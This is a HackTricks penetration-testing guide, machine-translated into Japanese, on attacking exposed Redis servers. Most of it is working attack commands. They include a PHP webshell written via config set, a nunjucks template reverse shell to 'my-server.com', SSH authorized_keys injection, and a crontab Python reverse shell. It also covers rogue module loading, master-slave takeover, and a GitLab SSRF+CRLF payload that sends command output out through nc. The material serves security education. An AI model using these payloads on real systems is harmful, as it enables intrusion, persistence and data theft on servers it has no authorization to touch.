6379 - Pentesting Redis

Reading time: 19 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

From the docs: Redisはオープンソース(BSDライセンス)のインメモリデータ構造ストアで、データベース、キャッシュ、メッセージブローカーとして使用されます。

デフォルトではRedisはプレーンテキストベースのプロトコルを使用しますが、ssl/tlsを実装することもできることを念頭に置いておく必要があります。Learn how to run Redis with ssl/tls here.

デフォルトポート: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

自動列挙

Redisインスタンスから情報を取得するのに役立ついくつかの自動化ツール:

bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

手動列挙

バナー

Redisはテキストベースのプロトコルであり、ソケットにコマンドを送信するだけで、返された値は読み取ることができます。また、Redisはssl/tlsを使用して実行できることを忘れないでください(ただし、これは非常に奇妙です)。

通常のRedisインスタンスでは、ncを使用して接続するか、redis-cliを使用することもできます:

bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

最初のコマンドとして試すことができるのは info です。これは、Redisインスタンスの情報を含む出力を返すか、次のようなものが返される可能性があります:

-NOAUTH Authentication required.

この最後のケースでは、有効な認証情報が必要であることを意味します。

Redis 認証

デフォルトでは Redis は 認証情報なしでアクセス可能です。しかし、パスワードのみ、またはユーザー名 + パスワードをサポートするように 設定することができます
redis.conf ファイルのパラメータ requirepassパスワードを設定することが可能です。または、一時的にサービスが再起動するまで接続して、次のコマンドを実行することでも設定できます: config set requirepass p@ss$12E45
また、redis.conf ファイル内のパラメータ masteruserユーザー名を設定することができます

note

パスワードのみが設定されている場合、使用されるユーザー名は "default" です。
また、Redis がパスワードのみまたはユーザー名 + パスワードで設定されているかを 外部から確認する方法はありません

このようなケースでは、Redis と対話するために 有効な認証情報を見つける必要がありますので、ブルートフォースを試みることができます。
有効な認証情報が見つかった場合、接続を確立した後にセッションを認証する必要があります

bash
AUTH <username> <password>

有効な資格情報には、次のように応答されます: +OK

認証された列挙

Redisサーバーが匿名接続を許可している場合、または有効な資格情報を取得している場合は、次のコマンドを使用してサービスの列挙プロセスを開始できます:

bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

他のRedisコマンド はここにあります ここにあります.

インスタンスのRedisコマンドは、_redis.conf_ファイルで名前を変更したり削除したりできます。例えば、この行はFLUSHDBコマンドを削除します:

rename-command FLUSHDB ""

Redisサービスを安全に構成する方法についての詳細はこちら: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

また、monitorコマンドを使用して実行されたRedisコマンドをリアルタイムで監視したり、slowlog get 25を使用して25の最も遅いクエリを取得することもできます。

さらに興味深いRedisコマンドに関する情報はここで見つけることができます: https://lzone.de/cheat-sheet/Redis

データベースのダンプ

Redis内では、データベースは0から始まる番号ですinfoコマンドの出力内の「Keyspace」チャンクで、使用されているかどうかを確認できます:

または、次のコマンドで全てのキー空間(データベース)を取得できます:

INFO keyspace

その例では、データベース 0 と 1 が使用されています。データベース 0 には 4 つのキーがあり、データベース 1 には 1 つのキーがあります。デフォルトでは、Redis はデータベース 0 を使用します。たとえば、データベース 1 をダンプするには、次のようにする必要があります:

bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

GET <KEY>を実行中に-WRONGTYPE Operation against a key holding the wrong kind of valueというエラーが発生した場合、それはキーが文字列や整数以外のものであり、表示するために特別なオペレーターが必要であるためです。

キーのタイプを知るには、TYPEコマンドを使用します。以下はリストとハッシュキーの例です。

bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

npmを使ってデータベースをダンプする redis-dump またはpython redis-utils

Redis RCE

インタラクティブシェル

redis-rogue-server は、Redis(<=5.0.5)でインタラクティブシェルまたはリバースシェルを自動的に取得できます。

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Info from here. Webサイトフォルダーパスを知っておく必要があります:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

​ウェブシェルアクセスに例外がある場合、バックアップ後にデータベースを空にして再試行できます。データベースを復元することを忘れないでください。

テンプレートウェブシェル

前のセクションと同様に、テンプレートエンジンによって解釈されるいくつかのhtmlテンプレートファイルを上書きしてシェルを取得することもできます。

例えば、この書き込みに従って、攻撃者がnunjucksテンプレートエンジンによって解釈されたhtmlにrevシェルを注入したことがわかります。

javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

warning

注意してください いくつかのテンプレートエンジンは テンプレートを メモリ にキャッシュするため、上書きしても新しいものは 実行されません。この場合、開発者が自動リロードを有効にしたままにしているか、サービスに対してDoSを行う必要があります(自動的に再起動されることを期待してください)。

SSH

from here

config get dir の結果は、他の手動のエクスプロイトコマンドの後に変更される可能性があることに注意してください。Redisにログインした直後にこれを最初に実行することをお勧めします。 config get dir の出力には、redisユーザーホーム(通常は /var/lib/redis または /home/redis/.ssh)が見つかり、これを知ることで、authenticated_usersファイルをssh経由でredisユーザーとしてアクセスするためにどこに書き込むことができるかがわかります。他の有効なユーザーのホームを知っていて、書き込み権限がある場合は、それを悪用することもできます:

  1. PC上でssh公開鍵-秘密鍵ペアを生成します: ssh-keygen -t rsa
  2. 公開鍵をファイルに書き込みます: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. ファイルをredisにインポートします: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Redisサーバーのauthorized_keysファイルに公開鍵を保存します:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. 最後に、秘密鍵を使ってredisサーバーsshできます: ssh -i id_rsa redis@10.85.0.52

この技術はここで自動化されています: https://github.com/Avinash-acid/Redis-Server-Exploit

さらに、システムユーザーは config set dir /home/USER で確認することで発見でき、新しい authorized_keys/home/USER/.ssh/authorized_keys に書き込むことができます。redis-rce-ssh を使用して、ユーザー名のワードリストでブルートフォース攻撃を行い、authorized_keys を上書きします。

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

最後の例はUbuntu用ですが、Centosの場合、上記のコマンドは次のようになります: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

この方法はビットコインを得るためにも使用できます:yam

Redisモジュールのロード

  1. https://github.com/n0b0dyCN/RedisModules-ExecuteCommandの指示に従って、任意のコマンドを実行するためのredisモジュールをコンパイルできます。
  2. 次に、コンパイルされたモジュールをアップロードする方法が必要です。
  3. MODULE LOAD /path/to/mymodule.soを使用して、ランタイムでアップロードされたモジュールをロードします。
  4. MODULE LISTを使用して、正しくロードされたかどうかを確認するためにロードされたモジュールをリストします。
  5. コマンドを実行します:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. 必要に応じてモジュールをアンロードします: MODULE UNLOAD mymodule

LUAサンドボックスのバイパス

ここで、RedisがEVALコマンドを使用してLuaコードをサンドボックス化して実行していることがわかります。リンクされた投稿では、dofile関数を使用してそれを悪用する方法が示されていますが、どうやらこれはもはや不可能なようです。とにかく、Luaサンドボックスをバイパスできれば、システム上で任意のコマンドを実行できます。また、同じ投稿からDoSを引き起こすためのオプションも確認できます。

Luaから脱出するためのいくつかのCVE:

マスタースレーブモジュール

​マスターRedisのすべての操作は自動的にスレーブRedisに同期されます。これは、脆弱性のあるRedisをスレーブRedisと見なすことができ、マスターRedisに接続されている私たちの制御下にあるRedisにコマンドを入力できることを意味します。

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRFがRedisと通信する

Redisクリアテキストリクエストを送信できる場合、リクエストを行ごとに読み取り、理解できない行にはエラーで応答するため、通信することができます

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

したがって、ウェブサイトでSSRF vulnを見つけ、いくつかのヘッダー(おそらくCRLF vulnを使用して)やPOSTパラメータ制御できる場合、Redisに任意のコマンドを送信することができます。

例: Gitlab SSRF + CRLF to Shell

Gitlab11.4.7では、SSRF脆弱性とCRLFが発見されました。SSRF脆弱性は、新しいプロジェクトを作成する際のURLからプロジェクトをインポートする機能にあり、[0:0:0:0:0:ffff:127.0.0.1]の形式で任意のIPにアクセスできるようにしました(これにより127.0.0.1にアクセスします)、そしてCRLF脆弱性はURLに**%0D%0A**文字を追加することで悪用されました。

したがって、これらの脆弱性を悪用してRedisインスタンスと通信することが可能でした。これはgitlabのキューを管理し、そのキューを悪用してコード実行を取得することができました。Redisキューの悪用ペイロードは:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

そして、URLエンコードリクエストがSSRFCRLFを悪用してwhoamiを実行し、出力をnc経由で返すのは次の通りです:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

なぜか(この情報が取られた https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ の著者に関して)git スキームでのエクスプロイトが機能し、http スキームでは機能しませんでした。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする